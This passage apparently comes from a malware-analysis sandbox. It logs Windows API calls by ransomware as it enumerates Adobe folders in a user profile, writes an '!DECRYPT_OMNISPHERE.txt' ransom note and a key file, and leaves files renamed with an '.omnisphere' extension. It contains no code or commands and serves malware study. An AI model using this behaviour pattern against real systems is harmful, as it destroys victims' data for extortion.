hTemplateFile=0x0) returned 0x3c0 [0080.892] WriteFile (in: hFile=0x3c0, lpBuffer=0x16669b8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x16669b8*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0080.892] CloseHandle (hObject=0x3c0) returned 1 [0080.892] GetProcessHeap () returned 0x1600000 [0080.892] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c730 | out: hHeap=0x1600000) returned 1 [0080.892] GetProcessHeap () returned 0x1600000 [0080.892] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xba) returned 0x1639ed0 [0080.892] PathCombineW (in: pszDest=0x1639ed0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\unique_decrypt.key" [0080.892] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0080.892] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0080.893] CloseHandle (hObject=0x3c0) returned 1 [0080.893] GetProcessHeap () returned 0x1600000 [0080.893] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1639ed0 | out: hHeap=0x1600000) returned 1 [0080.893] GetProcessHeap () returned 0x1600000 [0080.893] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164bd88 | out: hHeap=0x1600000) returned 1 [0080.893] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfa5e97, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfa5e97, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6322b7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0xcb, cFileName="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", cAlternateFileName="CE3388~1.CRL")) returned 0 [0080.893] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0080.893] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x114d93c5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x114d93c5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0080.893] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x114d93c5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x114d93c5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.893] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114b2faf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x114b2faf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x114ff536, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0080.894] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfcc0fc, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x114b2faf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.omnisphere", cAlternateFileName="0FDED5~1.OMN")) returned 1 [0080.894] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1148ce40, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1148ce40, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x114b2faf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.omnisphere.id", cAlternateFileName="0FDED5~1.ID")) returned 1 [0080.894] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfa5e97, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfa5e97, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x114d93c5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.omnisphere", cAlternateFileName="CE3388~1.OMN")) returned 1 [0080.894] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114d93c5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x114d93c5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x114d93c5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.omnisphere.id", cAlternateFileName="CE3388~1.ID")) returned 1 [0080.894] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114b2faf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x114b2faf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x114ff536, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0080.894] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114b2faf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x114b2faf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x114ff536, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0080.894] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0080.894] GetProcessHeap () returned 0x1600000 [0080.894] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16562c8 | out: hHeap=0x1600000) returned 1 [0080.894] GetProcessHeap () returned 0x1600000 [0080.894] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16564a8 | out: hHeap=0x1600000) returned 1 [0080.894] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1148ce40, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1148ce40, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1148ce40, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0080.894] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1148ce40, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1148ce40, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1148ce40, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0080.894] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0080.894] GetProcessHeap () returned 0x1600000 [0080.895] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16339a8 | out: hHeap=0x1600000) returned 1 [0080.895] GetProcessHeap () returned 0x1600000 [0080.895] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633408 | out: hHeap=0x1600000) returned 1 [0080.895] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0080.895] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0080.895] GetProcessHeap () returned 0x1600000 [0080.895] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f700 | out: hHeap=0x1600000) returned 1 [0080.895] GetProcessHeap () returned 0x1600000 [0080.895] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160faa0 | out: hHeap=0x1600000) returned 1 [0080.895] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0080.895] FindClose (in: hFindFile=0x1639768 | out: hFindFile=0x1639768) returned 1 [0080.895] GetProcessHeap () returned 0x1600000 [0080.895] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16590f8 | out: hHeap=0x1600000) returned 1 [0080.895] GetProcessHeap () returned 0x1600000 [0080.895] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x161d0c0 | out: hHeap=0x1600000) returned 1 [0080.896] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0080.896] GetProcessHeap () returned 0x1600000 [0080.896] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f500 [0080.896] PathCombineW (in: pszDest=0x163f500, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", pszFile="Flash Player" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player" [0080.896] GetProcessHeap () returned 0x1600000 [0080.896] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x78) returned 0x163f980 [0080.896] PathCombineW (in: pszDest=0x163f980, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\*" [0080.896] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0080.896] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="..", cAlternateFileName="")) returned 1 [0080.896] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0080.896] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 1 [0080.896] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 0 [0080.896] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0080.897] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0080.897] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.897] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0080.897] GetProcessHeap () returned 0x1600000 [0080.897] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8a) returned 0x161d0c0 [0080.897] PathCombineW (in: pszDest=0x161d0c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", pszFile="AssetCache" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0080.897] GetProcessHeap () returned 0x1600000 [0080.897] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8e) returned 0x16590f8 [0080.897] PathCombineW (in: pszDest=0x16590f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*" [0080.897] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd2, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0080.900] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd2, cFileName="..", cAlternateFileName="")) returned 1 [0080.900] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd2, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 1 [0080.900] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd2, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 0 [0080.900] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0080.900] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0080.901] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.901] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 1 [0080.901] GetProcessHeap () returned 0x1600000 [0080.901] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x165e8e0 [0080.901] PathCombineW (in: pszDest=0x165e8e0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", pszFile="G7ZD37Y5" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5" [0080.901] GetProcessHeap () returned 0x1600000 [0080.901] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x165df08 [0080.901] PathCombineW (in: pszDest=0x165df08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\*" [0080.901] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName=".", cAlternateFileName="")) returned 0x1639768 [0080.901] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName="..", cAlternateFileName="")) returned 1 [0080.901] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName="..", cAlternateFileName="")) returned 0 [0080.902] FindClose (in: hFindFile=0x1639768 | out: hFindFile=0x1639768) returned 1 [0080.902] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash 